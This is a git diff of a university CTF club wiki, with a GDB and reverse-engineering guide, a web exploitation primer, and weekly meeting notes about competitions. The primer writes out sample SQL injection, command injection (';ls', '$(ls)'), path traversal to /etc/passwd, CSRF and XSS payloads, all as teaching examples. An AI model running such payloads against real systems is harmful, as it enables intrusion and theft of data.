+   0x080400a: add, rax, rbx                  RAX = 0xdeadbeee
+   0x080400d: inc rbx                        RBX = 0x1235
+   0x0804010: sub rax, rbx                   RCX = 0x0
+-> 0x0804013: mov rcx, rax                   RDX = 0x0
+   0x0804000: mov eax, 0xdeadbeef            Register Values:
+   0x0804005: mov ebx, 0x1234                RIP = 0x0804005
+   0x080400a: add, rax, rbx                  RAX = 0xdeadbeee
+   0x080400d: inc rbx                        RBX = 0x1235
+   0x0804010: sub rax, rbx                   RCX = 0xdeadbeee
+   0x0804013: mov rcx, rax                   RDX = 0x0
+
+

Control Flow

+

How can we express conditionals in x86-64? We use conditional jumps such as:

+
    +
  • jnz <address>
  • +
  • je <address>
  • +
  • jge <address>
  • +
  • jle <address>
  • +
  • etc.
  • +
+

They jump if their condition is true and just go to the next instruction otherwise. These conditionals are checking EFLAGS which are special registers that store flags on certain instructions such as add rax, rbx which sets the o (overflow) flag if the sum is greater than a 64-bit register can hold, and wraps around. You can jump based on that with a jo instruction. The most important thing to remember is the cmp instruction:

+
cmp rax, rbx
+jle error
+
+

This assembly jumps if RAX <= RBX

+

Addresses

+

Memory acts similarly to a big array where the indices of this "array" are memory addresses. Remember from earlier:

+
mov rax, [0xdeadbeef]
+
+

The square brackets mean "get the data at this address". This is analogous to the C/C++ syntax: rax = *0xdeadbeef;

+

Disassemblers

+

A disassembler is a tool that breaks down a compiled program into machine code.

+

List of Disassemblers

+
    +
  • IDA
  • +
  • Binary Ninja
  • +
  • GNU Debugger (GDB)
  • +
  • radare2
  • +
  • Hopper
  • +
+

IDA

+

The Interactive Disassembler (IDA) is the industry standard for binary disassembly. IDA is capable of disassembling "virtually any popular file format". This makes it very useful to security researchers and CTF players who often need to analyze obscure files without knowing what they are or where they came from. IDA also features the industry-leading Hex-Rays decompiler which can convert assembly code back into a pseudo code-like format.

+

IDA

+

IDA also has a plugin interface which has been used to create some successful plugins that can make reverse engineering easier:

+
    +
  • https://github.com/google/binnavi
  • +
  • https://github.com/yegord/snowman
  • +
  • https://github.com/gaasedelen/lighthouse
  • +
  • https://github.com/joxeankoret/diaphora
  • +
  • https://github.com/REhints/HexRaysCodeXplorer
  • +
  • https://github.com/osirislab/Fentanyl
  • +
+

Binary Ninja

+

Binary Ninja is an up-and-coming disassembler that attempts to bring a new, more programmatic approach to reverse engineering. Binary Ninja brings an improved plugin API and modern features to reverse engineering. While it's less popular or as old as IDA, Binary Ninja (often called binja) is quickly gaining ground and has a small community of dedicated users and followers.

+

Binja

+

Binja also has some community-contributed plugins which are collected here: https://github.com/Vector35/community-plugins

+

gdb

+

The GNU Debugger is a free and open-source debugger that also disassembles programs. It's capable as a disassembler, but most notably it is used by CTF players for its debugging and dynamic analysis capabilities.

+

gdb is often used in tandem with enhancement scripts like peda, pwndbg, and GEF

+

GDB

+

The GNU Debugger (GDB)

+

The GNU Debugger or GDB is a powerful debugger that allows for the step-by-step execution of a program. It can be used to trace program execution and is an important part of any reverse engineering toolkit.

+

Vanilla GDB

+

GDB without any modifications is unintuitive and obscures a lot of useful information. The plug-in pwndb solves a lot of these problems and makes for a much more pleasant experience. But if you are constrained and have to use vanilla gdb, here are several things to make your life easier.

+

Starting GDB

+

To execute GBD and attach it to a program simply run gdb [program]

+

Disassembly

+

(gdb) disassemble [address/symbol] will display the disassembly for that function/frame

+

GDB will autocomplete functions, so saying (gdb) disas main suffices if you'd like to see the disassembly of the main

+

View Disassembly During Execution

+

Another handy thing to see while stepping through a program is the disassembly of nearby instructions:

+
(gdb) display/[# of instructions]i $pc [± offset]
+
+
    +
  • display shows data with each step
  • +
  • /[#]i shows how much data in the format i for instruction
  • +
  • $pc means the pc, program counter, register
  • +
  • [± offset] allows you to specify how you would like the data offset from the current instruction
  • +
+
Example Usage
+
(gdb) display/10i $pc - 0x5
+
+

This command will show 10 instructions on screen with an offset from the next instruction of 5, giving us this display:

+
   0x8048535 <main+6>:  lock pushl -0x4(%ecx)
+   0x8048539 <main+10>: push   %ebp
+=> 0x804853a <main+11>: mov    %esp,%ebp
+   0x804853c <main+13>: push   %ecx
+   0x804853d <main+14>: sub    $0x14,%esp
+   0x8048540 <main+17>: sub    $0xc,%esp
+   0x8048543 <main+20>: push   $0x400
+   0x8048548 <main+25>: call   0x80483a0 <malloc@plt>
+   0x804854d <main+30>: add    $0x10,%esp
+   0x8048550 <main+33>: sub    $0xc,%esp
+
+
Deleting Views
+

If for whatever reason, a view no long suits your needs simply call (gdb) info display which will give you a list of active displays:

+
Auto-display expressions now in effect:
+Num Enb Expression
+1:   y  /10bi $pc-0x5
+
+

Then simply execute (gdb) delete display 1 and your execution will resume without the display.

+

Registers

+

In order to view the state of registers with vanilla gdb, you need to run the command info registers which will display the state of all the registers:

+
eax            0xf77a6ddc   -142971428
+ecx            0xffe06b10   -2069744
+edx            0xffe06b34   -2069708
+ebx            0x0  0
+esp            0xffe06af8   0xffe06af8
+ebp            0x0  0x0
+esi            0xf77a5000   -142979072
+edi            0xf77a5000   -142979072
+eip            0x804853a    0x804853a <main+11>
+eflags         0x286    [ PF SF IF ]
+cs             0x23 35
+ss             0x2b 43
+ds             0x2b 43
+es             0x2b 43
+fs             0x0  0
+gs             0x63 99
+
+

If you simply would like to see the contents of a single register, the notation x/x $[register] where:

+
    +
  • x/x means to display the address in hex notation
  • +
  • $[register] is the register code such as eax, rax, etc.
  • +
+

Pwndbg

+

These commands work with vanilla gdb as well.

+

Setting Breakpoints

+

Setting breakpoints in GDB uses the format b*[Address/Symbol]

+
Example Usage
+
    +
  • (gdb) b*main: Break at the start
  • +
  • (gdb) b*0x804854d: Break at 0x804854d
  • +
  • (gdb) b*0x804854d-0x100: Break at 0x804844d
  • +
+
Deleting Breakpoints
+

As before, in order to delete a view, you can list the available breakpoints using (gdb) info breakpoints (don't forget about GDB's autocomplete, you don't always need to type out every command!) which will display all breakpoints:

+
Num     Type           Disp Enb Address    What
+1       breakpoint     keep y   0x0804852f <main>
+3       breakpoint     keep y   0x0804864d <__libc_csu_init+61>
+
+

Then simply execute (gdb) delete 1

+

Note

+

GDB creates breakpoints chronologically and does NOT reuse numbers.

+

Stepping

+

What good is a debugger if you can't control where you are going? In order to begin the execution of a program, use the command r [arguments] similar to how if you ran it with dot-slash notation you would execute it ./program [arguments]. In this case, the program will run normally and if no breakpoints are set, you will execute normally. If you have breakpoints set, you will stop at that instruction.

+
    +
  • (gdb) continue [# of breakpoints]: Resumes the execution of the program until it finishes or until another breakpoint is hit (shorthand c)
  • +
  • (gdb) step[# of instructions]: Steps into an instruction the specified number of times, default is 1 (shorthand s)
  • +
  • (gdb) next instruction [# of instructions]: Steps over an instruction meaning it will not delve into called functions (shorthand ni)
  • +
  • (gdb) finish: Finishes a function and breaks after it gets returned (shorthand fin)
  • +
+

Examining

+

Examining data in GDB is also very useful for seeing how the program is affecting data. The notation may seem complex at first, but it is flexible and provides powerful functionality.

+
(gdb) x/[#][size][format] [Address/Symbol/Register][± offset]
+
+
    +
  • x/ means examine
  • +
  • [#] means how much
  • +
  • [size] means what size the data should be such as a word w (2 bytes), double word d (4 bytes), or giant word g (8 bytes)
  • +
  • [format] means how the data should be interpreted such as an instruction i, a string s, hex bytes x
  • +
  • [Address/Symbol][± offset] means where to start interpreting the data
  • +
+
Example Usage
+
    +
  • (gdb) x/x $rax: Displays the content of the register RAX as hex bytes
  • +
  • (gdb) x/i 0xdeadbeef: Displays the instruction at address 0xdeadbeef
  • +
  • (gdb) x/10s 0x893e10: Displays 10 strings at the address
  • +
  • (gdb) x/10gx 0x7fe10: Displays 10 giant words as hex at the address
  • +
+

Forking

+

If the program happens to be an accept-and-fork server, gdb will have issues following the child or parent processes. In order to specify how you want gdb to function you can use the command set follow-fork-mode [on/off]

+

Setting Data

+

If you would like to set data at any point, it is possible using the command set [Address/Register]=[Hex Data]

+
Example Usage
+
    +
  • set $rax=0x0: Sets the register rax to 0
  • +
  • set 0x1e4a70=0x123: Sets the data at 0x1e4a70 to 0x123
  • +
+

Process Mapping

+

A handy way to find the process's mapped address spaces is to use info proc map:

+
Mapped address spaces:
+
+    Start Addr   End Addr       Size     Offset objfile
+     0x8048000  0x8049000     0x1000        0x0 /directory/program
+     0x8049000  0x804a000     0x1000        0x0 /directory/program
+     0x804a000  0x804b000     0x1000     0x1000 /directory/program
+    0xf75cb000 0xf75cc000     0x1000        0x0
+    0xf75cc000 0xf7779000   0x1ad000        0x0 /lib32/libc-2.23.so
+    0xf7779000 0xf777b000     0x2000   0x1ac000 /lib32/libc-2.23.so
+    0xf777b000 0xf777c000     0x1000   0x1ae000 /lib32/libc-2.23.so
+    0xf777c000 0xf7780000     0x4000        0x0
+    0xf778b000 0xf778d000     0x2000        0x0 [vvar]
+    0xf778d000 0xf778f000     0x2000        0x0 [vdso]
+    0xf778f000 0xf77b1000    0x22000        0x0 /lib32/ld-2.23.so
+    0xf77b1000 0xf77b2000     0x1000        0x0
+    0xf77b2000 0xf77b3000     0x1000    0x22000 /lib32/ld-2.23.so
+    0xf77b3000 0xf77b4000     0x1000    0x23000 /lib32/ld-2.23.so
+    0xffc59000 0xffc7a000    0x21000        0x0 [stack]
+
+

This will show you where the stack, heap (if there is one), and libc are located.

+

Attaching Processes

+

Another useful feature of GDB is to attach to processes that are already running. Simply launch gdb using gdb, then find the process id of the program you would like to attach to an execute attach [pid].

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CTF/Web/index.html b/CTF/Web/index.html new file mode 100644 index 000000000..a7c5ab45f --- /dev/null +++ b/CTF/Web/index.html @@ -0,0 +1,8482 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Web Exploitation - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Web Exploitation

+
+

https://ctf101.org/web-exploitation/overview/

+
+

Websites all around the world are programmed using various programming languages. While the developer should be aware of specific vulnerabilities in each programming language, there are issues fundamental to the internet that can show up regardless of the chosen language or framework.

+

These vulnerabilities often show up in CTFs as web security challenges where the user needs to exploit a bug to gain some kind of higher-level privilege.

+

Common vulnerabilities to see in CTF challenges:

+
    +
  • SQL Injection
  • +
  • Command Injection
  • +
  • Directory Traversal
  • +
  • Cross-Site Request Forgery
  • +
  • Cross-Site Scripting
  • +
  • Server-Side Request Forgery
  • +
+

SQL Injection

+

SQL Injection is a vulnerability where an application takes input from a user and doesn't validate that the user's input doesn't contain additional SQL.

+
<?php
+    $username = $_GET['username']; // kchung
+    $result = mysql_query("SELECT * FROM users WHERE username='$username'");
+?>
+
+

If we look at the $username variable, we might expect the username parameter to be a real username (e.g. kchung) under normal operation.

+

But a malicious user might submit a different kind of data. For example, consider if the input was '?

+

The application would crash because the resulting SQL query is incorrect.

+
SELECT * FROM users WHERE username='''
+
+
+

Notice the extra single quote at the end.

+
+

With the knowledge that a single quote will cause an error in the application, we can expand a little more on SQL Injection.

+

What if our input was ' OR 1=1?

+
SELECT * FROM users WHERE username='' OR 1=1
+
+

1 is indeed equal to 1. This equates to true in SQL. If we reinterpret this the SQL statement is really saying

+
SELECT * FROM users WHERE username='' OR true
+
+

This will return every row in the table because each row that exists must be true.

+

We can also inject comments and termination characters like -- or /* or ;. This allows you to terminate SQL queries after your injected statements. For example '-- is a common SQL injection payload.

+
SELECT * FROM users WHERE username=''-- '
+
+

This payload sets the username parameter to an empty string to break out of the query and then adds a comment (--) that effectively hides the second single quote.

+

Using this technique of adding SQL statements to an existing query we can force databases to return data that it was not meant to return.

+

Command Injection

+

Command Injection is a vulnerability that allows an attacker to submit system commands to a computer running a website. This happens when the application fails to encode user input that goes into a system shell. It is very common to see this vulnerability when a developer uses the system() command or its equivalent in the application's programming language.

+
import os
+
+domain = user_input() # ctf101.org
+
+os.system('ping ' + domain)
+
+

The above code when used normally will ping the ctf101.org domain.

+

But consider what would happen if the user_input() function returned different data.

+
import os
+
+domain = user_input() # ; ls
+
+os.system('ping ' + domain)
+
+

Because of the additional semicolon, the os.system() function is instructed to run two commands.

+

It looks to the program as:

+
ping ; ls
+
+
+

The semicolon terminates a command in bash and allows you to put another command after it.

+
+

Because the ping command is being terminated and the ls command is being added on, the ls command will be run in addition to the empty ping command!

+

This is the core concept behind command injection. The ls command could of course be switched with another command (e.g. wget, curl, bash, etc.)

+

Command injection is a very common means of privilege escalation within web applications and applications that interface with system commands. Many kinds of home routers take user input and directly append it to a system command. For this reason, many of those home router models are vulnerable to command injection.

+

Example Payloads

+
    +
  • ;ls
  • +
  • $(ls)
  • +
  • ls
  • +
+

Directory Traversal

+

Directory Traversal is a vulnerability where an application takes in user input and uses it in a directory path.

+

Any kind of path controlled by user input that isn't properly sanitized or properly sandboxed could be vulnerable to directory traversal.

+

For example, consider an application that allows the user to choose what page to load from a GET parameter.

+
<?php
+    $page = $_GET['page']; // index.php
+    include("/var/www/html/" . $page);
+?>
+
+

Under normal operation, the page would be index.php. But what if a malicious user gave in something different?

+
<?php
+    $page = $_GET['page']; // ../../../../../../../../etc/passwd
+    include("/var/www/html/" . $page);
+?>
+
+

Here the user is submitting ../../../../../../../../etc/passwd.

+

This will result in the PHP interpreter leaving the directory that it is coded to look in ('/var/www/html') and instead be forced up to the root folder.

+
include("/var/www/html/../../../../../../../../etc/passwd");
+
+

Ultimately this will become /etc/passwd because the computer will not go a directory above its top directory.

+

Thus the application will load the /etc/passwd file and emit it to the user like so:

+
root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
+systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
+systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
+systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
+_apt:x:104:65534::/nonexistent:/bin/false
+
+

This same concept can be applied to applications where some input is taken from a user and then used to access a file or path or similar. This vulnerability very often can be used to leak sensitive data or extract application source code to find other vulnerabilities.

+

Cross-Site Request Forgery (CSRF)

+

A Cross-Site Request Forgery or CSRF Attack pronounced see the surf, is an attack on an authenticated user which uses a state session in order to perform state-changing attacks like a purchase, a transfer of funds, or a change of email address.

+

The entire premise of CSRF is based on session hijacking, usually by injecting malicious elements within a webpage through a <img> tag or a <iframe> where references to external resources are unverified.

+

Using CSRF

+

GET requests are often used by websites to get user input. Say a user signs in to a banking site that assigns their browser a cookie that keeps them logged in. If they transfer some money, the URL that is sent to the server might have the pattern:

+
http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]
+
+

Knowing this format, an attacker can send an email with a hyperlink to be clicked on or they can include an image tag of 0 by 0 pixels which will automatically be requested by the browser such as:

+

<img src="http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]" width="0" height="0" border="0">

+

Cross-Site Scripting (XSS)

+

Cross-Site Scripting or XSS is a vulnerability where one user of an application can send JavaScript that is executed by the browser of another user of the same application.

+

This is a vulnerability because JavaScript has a high degree of control over a user's web browser.

+

For example, JavaScript has the ability to:

+
    +
  • Modify the page (called the DOM)
  • +
  • Send more HTTP requests
  • +
  • Access cookies
  • +
+

By combining all of these abilities, XSS can maliciously use JavaScript to extract users' cookies and send them to an attacker-controlled server. XSS can also modify the DOM to phishing users for their passwords. This only scratches the surface of what XSS can be used to do.

+

XSS is typically broken down into three categories:

+
    +
  • Reflected XSS
  • +
  • Stored XSS
  • +
  • DOM XSS
  • +
+

Reflected XSS

+

Reflected XSS is when an XSS exploit is provided through a URL parameter.

+

For example:

+
https://ctf101.org?data=<script>alert(1)</script>
+
+

You can see the XSS exploit provided in the data GET parameter. If the application is vulnerable to reflected XSS, the application will take this data parameter value and inject it into the DOM.

+

For example:

+
<html>
+    <body>
+        <script>alert(1)</script>
+    </body>
+</html>
+
+

Depending on where the exploit gets injected, it may need to be constructed differently.

+

Also, the exploit payload can change to fit whatever the attacker needs it to do. Whether that is to extract cookies and submit them to an external server, or to simply modify the page to deface it.

+

One of the deficiencies of reflected XSS however is that it requires the victim to access the vulnerable page from an attacker-controlled resource. Notice that if the data parameter, wasn't provided the exploit wouldn't work.

+

In many situations, reflected XSS is detected by the browser because it is very simple for a browser to detect malicious XSS payloads in URLs.

+

Stored XSS

+

Stored XSS is different from reflected XSS in one key way. In reflected XSS, the exploit is provided through a GET parameter. But in stored XSS, the exploit is provided from the website itself.

+

Imagine a website that allows users to post comments. If a user can submit an XSS payload as a comment, and then have others view that malicious comment, it would be an example of stored XSS.

+

The reason is that the website itself is serving up the XSS payload to other users. This makes it very difficult to detect from the browser's perspective and no browser is capable of generically preventing stored XSS from exploiting a user.

+

DOM XSS

+

DOM XSS is XSS that is due to the browser itself injecting an XSS payload into the DOM. While the server itself may properly prevent XSS, it's possible that the client-side scripts may accidentally take a payload and insert it into the DOM and cause the payload to trigger.

+

The server itself is not to blame, but the client-side JavaScript files are causing the issue.

+

Server Side Request Forgery (SSRF)

+

Server Side Request Forgery or SSRF is where an attacker is able to cause a web application to send a request that the attacker defines.

+

For example, say there is a website that lets you take a screenshot of any site on the internet.

+

Under normal usage, a user might ask it to take a screenshot of a page like Google, or The New York Times. But what if a user does something more nefarious? What if they asked the site to take a picture of http://localhost? Or perhaps tries to access something more useful like http://localhost/server-status?

+
+

127.0.0.1 (also known as localhost or loopback) represents the computer itself. Accessing localhost means you are accessing the computer's own internal network. Developers often use localhost as a way to access the services they have running on their own computers.

+
+

Depending on what the response from the site is the attacker may be able to gain additional information about what's running on the computer itself.

+

In addition, the requests originating from the server would come from the server's IP, not the attacker's IP. Because of that, it is possible that the attacker might be able to access internal resources that he wouldn't normally be able to access.

+

Another usage for SSRF is to create a simple port scanner to scan the internal network looking for internal services.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-02-17/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-02-17/index.html new file mode 100644 index 000000000..ab362b5c0 --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-02-17/index.html @@ -0,0 +1,8188 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-02-17 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-02-17

+
    +
  1. How to improve my skills/techniques?
  2. +
  3. Wiki/Blog collection.
  4. +
  5. Competitions.
  6. +
+

Improvement

+

About our mission this semester: self-improvement and advanced skills learning.

+

A. material learning and reading.

+

B. challenge/competition solving.

+

C. vulnerability dig and website/open-source pen-testing.

+

D. sharing.

+

It's highly encouraged to share your blog/wirteups with us. Talking with each other in the group is also a good method to get improved.

+

Don't be shy.

+

Don't be afraid to talk with "dalao". In fact, all of us are grown from newbies. And in fact, none of us is satisfied with our current knowledge.

+

Collection

+

I've encountered some difficulties these days. It's hard to find new contents to learn about. I need your help.

+

The goal of having more collections about the wiki/forum/blog is to fully access the CTF and hacking. We are going to design a book about CTF.

+

The contributions would help us:

+

A. design this book.

+

B. handle a daily sharing bot/wechat channel.

+

Everything you find may help above can send to me.

+

Competition

+

TQLCTF高校赛

+

https://datacon.qianxin.com/competitions/21/introduction

+

TQLCTF高校挑战赛由清华大学(网络研究院)奇安信集团网络安全联合研究中心主办,由清华大学Redbud战队及奇安信技术研究院联合命题,本次竞赛旨在提高高校在校生网络安全技能,为网络安全选拔优秀人才。全国高校在校生均可报名参加每队报名人数不得超过10人。 此次竞赛冠亚季军队伍将直接晋级TQLCTF京津冀线下挑战赛,体验全新AWD竞赛模式以及沉浸式CTF竞赛视觉盛宴!

+

时间:2022-02-19 09:00-2022-02-20 21:00

+

主办方:清华大学(网络研究院),奇安信集团安全联合研究中心

+

VU CYBERTHON 2022

+

https://2022.cyberthon.lt/event_starts

+

Participants will get access to the cyber security tournament system and they will have 24 hours to solve CTF challenges.

+

星期五, 18 二月 2022, 01:00 CST — 星期六, 19 二月 2022, 01:00 CST

+

Event organizers

+ +

Note

+
    +
  • [x] SRC平台似乎限制了校内访问?
  • +
  • [ ] 寻找外部的协助与大佬。
  • +
  • [ ] 课本选择一些经典的题目作为展示。
  • +
  • [ ] 课本项目的(会议)平台与项目支持。
  • +
  • [ ] wiki的维护:下周六(24-26返校)。
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-02-24/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-02-24/index.html new file mode 100644 index 000000000..705b21209 --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-02-24/index.html @@ -0,0 +1,8435 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-02-24 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2022-02-24

+
    +
  1. Review of the last week.
  2. +
  3. Recent competitions: VU CTF 2022 & TQL CTF 2022.
  4. +
  5. First offline activity for this semester.
  6. +
  7. Competitions this weekend.
  8. +
+

Review of the last week

+

XSRC Platform

+

https://xsrc.its.sustech.edu.cn/

+

Not working properly now. Having asked the developers from ITS. They have given instructive advice:

+

Use email then.

+

itsserver#sustech.edu.cn

+

Wiki/Blog Collection

+

https://github.com/tanjiti/sec_profile

+

A repo about security profile.

+

Gonna use information from this list first. All the blog and personal websites would be added soon.

+

Project: TG Sec Bot

+

The project information and the initial proposal would be posted on GitHub and invite you (if interested).

+

Improvement

+

Working on the security analysis and CVE post. Found several vulnerabilities from ThinkPHP and its plugins.

+

sqlmap analysis shows it's not vulnerable. Doing some SCA recently.

+

Communication

+

I have emailed several top teams and waiting for their response.

+

The experience from top teams is really important. Besides, not only for CTF, but also for security developers and engineers.

+
    +
  • Nu1L
  • +
  • GML-SEC
  • +
  • AAA
  • +
  • 雷神众测
  • +
  • 平安银河实验室
  • +
+

Competition Rank

+

VU CTF 2022

+

Rank 78

+

As an exercise competition got in the top 100.

+

1

+

2

+

TQL CTF 2022

+

Rank 37

+

Doesn't have enough participants. Maybe better.

+

3

+

First Offline Activity

+

Our first offline competition activity would be held this Saturday.

+

According to the recently COVID-19, shall the offline activity move to online?

+
    +
  1. If offline: I'm going to order the meeting room 515 Southern Tower, Engineering Department. Welcome to participate.
  2. +
  3. If online: we would have an online meeting for competition and sharing this Saturday, which lasts 4 hours.
  4. +
+

The sharing would be given by myself this week. I'd like to talk about the Rust programming language.

+

If you want to share anything else, it's highly recommended to give a talk this weekend.

+

Competitions

+

Codegate CTF 2022 Preliminary

+

星期六, 26 二月 2022, 18:00 CST — 星期日, 27 二月 2022, 18:00 CST

+

http://www.codegate.org/

+

We are going to participate in the General team. The top 9 teams from the General group would be allowed to the final competition.

+

The maximum team size is 4 members

+

Ugra CTF Quals 2022 (Optional)

+

星期六, 26 二月 2022, 15:00 CST — 星期二, 01 三月 2022, 15:00 CST

+

https://2022.ugractf.ru/

+

The event would be in Russia. Maybe we need to use some translation tools.

+

SUSCTF 2022 (Optional)

+

星期六, 26 二月 2022, 09:00 CST — 星期一, 28 二月 2022, 09:00 CST

+

https://susctf2022.xctf.org.cn/

+

By SUSr. The name is very likely SUSTC. So, maybe you are interested.

+

Note

+
    +
  • [ ] 题目平台环境挂了,考虑维护和docker-compose
  • +
+

A. 服务器环境自动启动

+

B. SaaS用户启动方案

+
    +
  • [ ] CTF Book动态更新,整理章节目录和材料
  • +
  • [ ] 跟进Black Hat Submission的信息
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-03-03/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-03-03/index.html new file mode 100644 index 000000000..c28d2260e --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-03-03/index.html @@ -0,0 +1,8254 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-03-03 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-03-03

+
    +
  1. Review of the recent competitions.
  2. +
  3. COMPASS CTF platform has moved back to VPS.
  4. +
  5. Wiki page update and maintenance.
  6. +
  7. Competition of the weekend.
  8. +
+

Competition Review

+

CODEGATE 2022

+

We have achieved rank 29.

+

CODEGATE 2022

+

The rank is in the top tier 2 list. The top 20 teams are very famous organizers, r3kpig, DiceGang, Oops, and perfect blue. Our rank is along with Super Guesser. In the meanwhile, we have won Redbud for continuous 3 times.

+

Still, we have some areas to improve. First of all, all of our scores are from the Web category. PWN is still an area we should improve.

+

The Rev and Crypto of the codegate are very difficult.

+

CTFshow

+

Congratulations to Frankss!

+

Looking forward to your next rank 1 in CTF!

+

CTF Platform

+

In the past very long time, we use CTFd online collocation system to deploy our platform. The CTFd online service is limited now.

+

The black box of CTFd doesn't offer us direct interaction with the source code and the plugins. In order to make further improvements, we are going to switch back to the local VPS deployment.

+

We have 2 plans:

+

A. use my personal VPS server. The VPS is in Hong Kong with 8 CPU cores and 16 GB of memory. The access of VPS is open to the public network. In order to deploy in my VPS, we need to assign an SSL certification and allocate a domain name service to the docker image.

+

B. use COMPASS server. The COMPASS server is very high performance. To use the COMPASS's Detroit server, we can directly use the compass.sustech.edu.cn domain name. But the access is limited to the campus. If we want to let users outside the SUSTech access, we need to deploy a jump service.

+

We need to assign the maintenance of the CTF platform to our members. If you are interested, please let me know. The work of the maintenance involves:

+
    +
  1. make sure the platform is online and the docker image is working properly.
  2. +
  3. make sure all the challenge container is online.
  4. +
  5. analysis of the network traffic logs to prevent attackers.
  6. +
+

Wiki

+

The Wiki page is critical for our public information. We have updated our Wiki page several times.

+

https://wiki.compass.college/member/

+

On the members' page, we have all of our members' cards. Currently, all the members' information is using our Wechat profile and the area is set to ALL.

+

Obviously, we need to update this page. Please send me your area.

+

Competition

+

https://mp.weixin.qq.com/s?__biz=Mzg5NTc0ODE4Ng==&mid=2247483653&idx=1&sn=8f2f74843dd5eff531be187823d9fc90&chksm=c00ad030f77d5926157929aee64fab31ead3b2b727777633a567a1dc5a579dd3f8a61d603435&mpshare=1&scene=23&srcid=0302kUF13DdLm2lLcV7DCIqL&sharer_sharetime=1646213771898&sharer_shareid=612cf76d62ce2a19afbb97fe3bdd60a8#rd

+

https://www.qianxin.com/DCICHF/2022

+

Note

+
    +
  • [ ] 护网行动申请相关,进行联络。
  • +
  • [x] Wiki的联络方式添加,周四会议的link链接。
  • +
  • [x] Wiki的meeting notes放在更显眼的地方。
  • +
  • [ ] 对外宣传的工作。
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 First Half/CTF Week Meeting 2022-03-10/index.html b/Meeting/2022 First Half/CTF Week Meeting 2022-03-10/index.html new file mode 100644 index 000000000..f9ec26ec4 --- /dev/null +++ b/Meeting/2022 First Half/CTF Week Meeting 2022-03-10/index.html @@ -0,0 +1,8359 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-03-10 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+ +
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-03-10

+
    +
  1. Review of the recent competitions.
  2. +
